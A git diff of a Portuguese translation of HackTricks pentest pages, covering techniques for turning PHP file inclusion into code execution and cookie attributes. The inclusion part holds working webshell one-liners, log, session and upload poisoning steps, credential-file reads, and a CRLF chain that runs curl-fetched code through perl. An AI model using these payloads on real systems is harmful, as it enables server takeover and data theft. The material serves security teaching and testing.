> Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma chamada simples para **`file()`**) porque o conteúdo não é mostrado.
|
||||
|
||||
Em [**este post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via filtro PHP para **exfiltrar o conteúdo de um arquivo através de um oracle de erro**.
|
||||
Em [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como um blind path traversal pode ser abusado via PHP filter para exfiltrar o conteúdo de um arquivo via um error oracle.
|
||||
|
||||
Em resumo, a técnica usa a **"codificação UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
|
||||
Em resumo, a técnica usa a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo vai disparar um **erro**.
|
||||
|
||||
Então, para vazar o primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
|
||||
Depois, para causar o leak do primeiro caractere, o filtro **`dechunk`** é usado junto com outros como **base64** ou **rot13** e finalmente os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para colocar outros chars no início e causar o leak desses caracteres.
|
||||
|
||||
**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (apenas alvo de leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
Funções que podem ser vulneráveis: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Para os detalhes técnicos, confira o post mencionado!
|
||||
Para os detalhes técnicos, veja o post mencionado!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Escrita de Arquivo Arbitrário via Path Traversal (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Quando o código do lado do servidor que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um nome de arquivo ou URL) sem canonizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma escrita de arquivo arbitrária. Se você puder colocar o payload em um diretório exposto na web, geralmente obtém RCE não autenticado ao soltar uma webshell.
|
||||
Quando código server-side que ingere/carrega arquivos constrói o caminho de destino usando dados controlados pelo usuário (por exemplo, um filename ou URL) sem canonicalizar e validar, segmentos `..` e caminhos absolutos podem escapar do diretório pretendido e causar uma gravação arbitrária de arquivo. Se você conseguir colocar o payload em um diretório exposto pela web, normalmente obtém RCE não autenticado ao dropar um webshell.
|
||||
|
||||
Fluxo típico de exploração:
|
||||
- Identifique uma primitiva de escrita em um endpoint ou trabalhador em segundo plano que aceita um caminho/nome de arquivo e escreve conteúdo no disco (por exemplo, ingestão orientada a mensagens, manipuladores de comando XML/JSON, extratores ZIP, etc.).
|
||||
- Determine diretórios expostos na web. Exemplos comuns:
|
||||
- Identificar uma primitiva de escrita em um endpoint ou worker em background que aceite um path/filename e escreva conteúdo no disco (por exemplo, message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
||||
- Determine os diretórios expostos na web. Exemplos comuns:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → solte `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → solte `shell.aspx`
|
||||
- Crie um caminho de travessia que escape do diretório de armazenamento pretendido para o webroot e inclua seu conteúdo de webshell.
|
||||
- Navegue até o payload solto e execute comandos.
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Construa um caminho com traversal que saia do diretório de armazenamento pretendido para o webroot e inclua o conteúdo do seu webshell.
|
||||
- Navegue até o payload dropado e execute comandos.
|
||||
|
||||
Notas:
|
||||
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um ouvinte JMF XML na TCP 4004). O portal web principal (porta diferente) servirá seu payload mais tarde.
|
||||
- Em pilhas Java, essas escritas de arquivo são frequentemente implementadas com simples concatenações de `File`/`Paths`. A falta de canonização/lista de permissão é a falha central.
|
||||
- O serviço vulnerável que realiza a escrita pode escutar em uma porta não-HTTP (por exemplo, um JMF XML listener em TCP 4004). O portal web principal (porta diferente) servirá depois o seu payload.
|
||||
- Em stacks Java, essas gravações de arquivo são frequentemente implementadas com concatenação simples de `File`/`Paths`. A falta de canonicalização/allow-listing é a falha central.
|
||||
|
||||
Exemplo genérico estilo XML/JMF (os esquemas de produto variam – o wrapper DOCTYPE/body é irrelevante para a travessia):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -465,25 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Hardening que derrota essa classe de bugs:
|
||||
- Resolva para um caminho canônico e garanta que seja um descendente de um diretório base na lista de permissões.
|
||||
- Rejeite qualquer caminho contendo `..`, raízes absolutas ou letras de unidade; prefira nomes de arquivos gerados.
|
||||
- Execute o escritor como uma conta de baixo privilégio e segmente diretórios de escrita de raízes servidas.
|
||||
Hardening that defeats this class of bugs:
|
||||
- Resolva para um caminho canônico e faça cumprir que seja descendente de um diretório base allow-listed.
|
||||
- Rejeite qualquer caminho que contenha `..`, raízes absolutas, ou letras de drive; prefira nomes de arquivo gerados.
|
||||
- Execute o writer como uma conta de baixo privilégio e segregue diretórios de escrita dos roots servidos.
|
||||
|
||||
## Inclusão de Arquivo Remoto
|
||||
## Remote File Inclusion
|
||||
|
||||
Explicado anteriormente, [**siga este link**](#remote-file-inclusion).
|
||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via arquivo de log do Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definindo dentro do **user agent** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo.
|
||||
Se o servidor Apache ou Nginx for **vulnerable to LFI** dentro da função include você pode tentar acessar **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, colocar no **user agent** ou em um **GET parameter** um php shell like **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
|
||||
|
||||
> [!WARNING]
|
||||
> Note que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **PHP gerará um erro** lá e **nada mais será executado**.
|
||||
> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.
|
||||
>
|
||||
> Além disso, certifique-se de **escrever corretamente a carga útil** ou o PHP gerará um erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
||||
> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity.
|
||||
|
||||
Isso também pode ser feito em outros logs, mas **tenha cuidado,** o código dentro dos logs pode estar codificado em URL e isso pode destruir o Shell. O cabeçalho **autorização "basic"** contém "user:password" em Base64 e é decodificado dentro dos logs. O PHPShell pode ser inserido dentro desse cabeçalho.\
|
||||
Isto também pode ser feito em outros logs mas **tenha cuidado,** o código dentro dos logs pode estar URL encoded e isso pode destruir o Shell. O header **authorisation "basic"** contém "user:password" em Base64 e ele é decodificado dentro dos logs. O PHPShell could be inserted inside this header.\
|
||||
Outros possíveis caminhos de log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -500,12 +501,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Via Email
|
||||
|
||||
**Envie um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir no e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
**Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload em PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tente incluir o e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. Faça upload de muitas shells (por exemplo: 100)
|
||||
2. Inclua [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser forçado por brute force) e $FD o descritor de arquivo (também pode ser forçado por brute force)
|
||||
1. Faça upload de muitos shells (por exemplo: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), com $PID = PID do processo (pode ser brute forced) e $FD o descritor de arquivo (pode ser brute forced também)
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
@ -516,52 +517,52 @@ User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via upload
|
||||
|
||||
Se você puder fazer o upload de um arquivo, basta injetar o payload da shell nele (por exemplo: `<?php system($_GET['c']); ?>`).
|
||||
Se você puder fazer upload de um arquivo, basta injetar o shell payload nele (por exemplo: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
|
||||
|
||||
### Via upload de arquivo Zip
|
||||
### Via upload de arquivo ZIP
|
||||
|
||||
Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
|
||||
Faça upload de um arquivo ZIP contendo um PHP shell comprimido e acesse:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### Via sessões PHP
|
||||
|
||||
Verifique se o site usa PHP Session (PHPSESSID)
|
||||
Verifique se o site usa sessão PHP (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
Em PHP, essas sessões são armazenadas em arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
No PHP, essas sessões são armazenadas nos arquivos _/var/lib/php5/sess\\_\[PHPSESSID]\_.
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Defina o cookie como `<?php system('cat /etc/passwd');?>`
|
||||
Defina o cookie para `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Use a LFI para incluir o arquivo de sessão PHP.
|
||||
Use o LFI para incluir o arquivo de sessão do PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
|
||||
Se o ssh estiver ativo, verifique qual usuário está sendo utilizado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
|
||||
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
|
||||
Os logs para o servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que existe uma vulnerabilidade de Local File Inclusion (LFI) e o acesso a um servidor vsftpd exposto é possível, os seguintes passos podem ser considerados:
|
||||
Os logs do servidor FTP vsftpd estão localizados em _**/var/log/vsftpd.log**_. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI), e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:
|
||||
|
||||
1. Injete um payload PHP no campo de nome de usuário durante o processo de login.
|
||||
2. Após a injeção, utilize o LFI para recuperar os logs do servidor de _**/var/log/vsftpd.log**_.
|
||||
1. Injetar um payload PHP no campo username durante o processo de login.
|
||||
2. Após a injeção, utilize a LFI para recuperar os logs do servidor em _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Como mostrado [neste](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artigo, o filtro base64 do PHP simplesmente ignora Non-base64. Você pode usar isso para contornar a verificação da extensão do arquivo: se você fornecer base64 que termina com ".php", ele apenas ignorará o "." e anexará "php" ao base64. Aqui está um exemplo de payload:
|
||||
Como mostrado neste [artigo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64), o filtro PHP base64 ignora Non-base64. Você pode usar isso para contornar a verificação da extensão de arquivo: se fornecer base64 que termine com ".php", ele simplesmente ignora o "." e anexa "php" ao base64. Aqui está um payload de exemplo:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -569,23 +570,26 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (sem arquivo necessário)
|
||||
|
||||
Este [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **filtros php para gerar conteúdo arbitrário** como saída. O que basicamente significa que você pode **gerar código php arbitrário** para o include **sem precisar escrevê-lo** em um arquivo.
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explica que você pode usar **php filters to generate arbitrary content** como saída. O que basicamente significa que você pode **generate arbitrary php code** para o include **without needing to write** em um arquivo.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via falha de segmentação
|
||||
### Via segmentation fault
|
||||
|
||||
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma request,** provoque um **segmentation fault**, e então o **arquivo temporário não será deletado** e você pode procurá-lo.
|
||||
|
||||
**Envie** um arquivo que será armazenado como **temporário** em `/tmp`, então na **mesma requisição,** acione uma **falha de segmentação**, e então o **arquivo temporário não será deletado** e você pode procurá-lo.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via armazenamento de arquivos temporários do Nginx
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Se você encontrou uma **Local File Inclusion** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e o **Nginx** está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -593,29 +597,31 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** mesmo que você **não tenha uma sessão** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** nos dados **multipart POST**, o PHP irá **habilitar a sessão para você**. Você poderia abusar disso para obter RCE:
|
||||
Se você encontrou uma **Local File Inclusion** mesmo que você **não tenha uma session** e `session.auto_start` esteja `Off`. Se você fornecer o **`PHP_SESSION_UPLOAD_PROGRESS`** em dados **multipart POST**, o PHP irá **ativar a session para você**. Você poderia abusar disso para obter RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via uploads de arquivos temporários no Windows
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Se você encontrou uma **Local File Inclusion** e o servidor está rodando em **Windows** você pode obter RCE:
|
||||
|
||||
Se você encontrou uma **Inclusão de Arquivo Local** e o servidor está rodando em **Windows**, você pode conseguir RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + argumentos de URL
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
Como [**explicado neste post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), o script `/usr/local/lib/phppearcmd.php` existe por padrão em imagens docker do php. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um `=`, ele deve ser usado como um argumento.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
A seguinte requisição cria um arquivo em `/tmp/hello.php` com o conteúdo `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
O seguinte abusa de uma vulnerabilidade CRLF para obter RCE (de [**aqui**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
O que segue abusa de uma CRLF vuln para obter RCE (a partir de [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -624,7 +630,8 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Via phpinfo() (file_uploads = on)
|
||||
|
||||
Se você encontrou uma **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
|
||||
Se você encontrou um **Local File Inclusion** e um arquivo expondo **phpinfo()** com file_uploads = on, você pode obter RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -632,7 +639,8 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Se você encontrou uma **Local File Inclusion** e **pode exfiltrar o caminho** do arquivo temporário, MAS o **servidor** está **verificando** se o **arquivo a ser incluído tem marcas PHP**, você pode tentar **contornar essa verificação** com esta **Race Condition**:
|
||||
Se você encontrou um **Local File Inclusion** e você **pode exfiltrate the path** do arquivo temporário MAS o **server** está **checking** se o **arquivo a ser incluído tem PHP marks**, você pode tentar contornar essa verificação com esta **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -640,7 +648,8 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
|
||||
Se você pode abusar do LFI para **fazer upload de arquivos temporários** e fazer o servidor **congelar** a execução do PHP, você poderia então **forçar nomes de arquivos durante horas** para encontrar o arquivo temporário:
|
||||
Se você puder abusar do LFI para fazer o upload de arquivos temporários e fazer o servidor **hang** a execução do PHP, você pode então **brute force** nomes de arquivo por horas para encontrar o arquivo temporário:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -648,10 +657,10 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### To Fatal Error
|
||||
|
||||
Se você incluir qualquer um dos arquivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
|
||||
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
|
||||
|
||||
**Eu não sei como isso é útil, mas pode ser.**\
|
||||
_Mesmo que você cause um erro fatal do PHP, os arquivos temporários do PHP enviados são excluídos._
|
||||
_Mesmo se você causar um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -661,6 +670,9 @@ _Mesmo que você cause um erro fatal do PHP, os arquivos temporários do PHP env
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -2,152 +2,162 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Atributos de Cookies
|
||||
## Atributos do Cookie
|
||||
|
||||
Cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está um resumo desses atributos em uma voz mais passiva:
|
||||
Os cookies vêm com vários atributos que controlam seu comportamento no navegador do usuário. Aqui está um resumo desses atributos em voz mais passiva:
|
||||
|
||||
### Expires e Max-Age
|
||||
### Expires and Max-Age
|
||||
|
||||
A data de expiração de um cookie é determinada pelo atributo `Expires`. Por outro lado, o atributo `Max-age` define o tempo em segundos até que um cookie seja excluído. **Opte por `Max-age`, pois reflete práticas mais modernas.**
|
||||
A data de expiração de um cookie é determinada pelo atributo `Expires`. Por outro lado, o atributo `Max-age` define o tempo em segundos até que o cookie seja excluído. **Prefira `Max-age`, pois reflete práticas mais modernas.**
|
||||
|
||||
### Domínio
|
||||
### Domain
|
||||
|
||||
Os hosts que receberão um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido para o host que emitiu o cookie, não incluindo seus subdomínios. No entanto, quando o atributo `Domain` é explicitamente definido, ele abrange subdomínios também. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários onde o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios como `developer.mozilla.org`.
|
||||
Os hosts que recebem um cookie são especificados pelo atributo `Domain`. Por padrão, isso é definido para o host que emitiu o cookie, não incluindo seus subdomínios. Entretanto, quando o atributo `Domain` é explicitamente definido, ele abrange também os subdomínios. Isso torna a especificação do atributo `Domain` uma opção menos restritiva, útil para cenários onde o compartilhamento de cookies entre subdomínios é necessário. Por exemplo, definir `Domain=mozilla.org` torna os cookies acessíveis em seus subdomínios como `developer.mozilla.org`.
|
||||
|
||||
### Caminho
|
||||
### Path
|
||||
|
||||
Um caminho de URL específico que deve estar presente na URL solicitada para que o cabeçalho `Cookie` seja enviado é indicado pelo atributo `Path`. Este atributo considera o caractere `/` como um separador de diretório, permitindo correspondências em subdiretórios também.
|
||||
O atributo `Path` indica um caminho de URL específico que deve estar presente na URL solicitada para que o header `Cookie` seja enviado. Esse atributo considera o caractere `/` como separador de diretórios, permitindo correspondências em subdiretórios também.
|
||||
|
||||
### Regras de Ordenação
|
||||
|
||||
Quando dois cookies têm o mesmo nome, o escolhido para envio é baseado em:
|
||||
Quando dois cookies têm o mesmo nome, o enviado é escolhido com base em:
|
||||
|
||||
- O cookie que corresponde ao caminho mais longo na URL solicitada.
|
||||
- O cookie definido mais recentemente se os caminhos forem idênticos.
|
||||
|
||||
### SameSite
|
||||
|
||||
- O atributo `SameSite` dita se os cookies são enviados em solicitações originadas de domínios de terceiros. Ele oferece três configurações:
|
||||
- **Strict**: Restringe o cookie de ser enviado em solicitações de terceiros.
|
||||
- **Lax**: Permite que o cookie seja enviado com solicitações GET iniciadas por sites de terceiros.
|
||||
- **None**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
|
||||
- O atributo `SameSite` determina se os cookies são enviados em requisições originadas por domínios de terceiros. Ele oferece três configurações:
|
||||
- **Strict**: Restringe o envio do cookie em requisições de terceiros.
|
||||
- **Lax**: Permite que o cookie seja enviado com requisições GET iniciadas por sites de terceiros.
|
||||
- **None**: Permite que o cookie seja enviado a partir de qualquer domínio de terceiros.
|
||||
|
||||
Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem como esperado em diferentes cenários.
|
||||
Lembre-se: ao configurar cookies, entender esses atributos ajuda a garantir que eles se comportem conforme esperado em diferentes cenários.
|
||||
|
||||
| **Tipo de Solicitação** | **Código de Exemplo** | **Cookies Enviados Quando** |
|
||||
| ----------------------- | --------------------------------------- | ---------------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Formulário GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Formulário POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Imagem | \<img src="..."> | NetSet\*, None |
|
||||
| **Tipo de Requisição** | **Exemplo de Código** | **Cookies Enviados Quando** |
|
||||
| ---------------------- | ---------------------------------- | --------------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e ligeiramente modificada.\
|
||||
Um cookie com o atributo _**SameSite**_ **mitigará ataques CSRF** onde uma sessão logada é necessária.
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
|
||||
|
||||
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Observe que temporariamente, após aplicar essa mudança, os **cookies sem uma política SameSite** **no Chrome serão** **tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST de nível superior entre sites.**
|
||||
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem o atributo SameSite será Lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Nota que temporariamente, depois de aplicar essa mudança, os **cookies sem uma SameSite** **policy** no Chrome serão **tratados como None** durante os **primeiros 2 minutos e depois como Lax para top-level cross-site POST request.**
|
||||
|
||||
## Flags de Cookies
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Isso evita que o **cliente** acesse o cookie (via **Javascript**, por exemplo: `document.cookie`)
|
||||
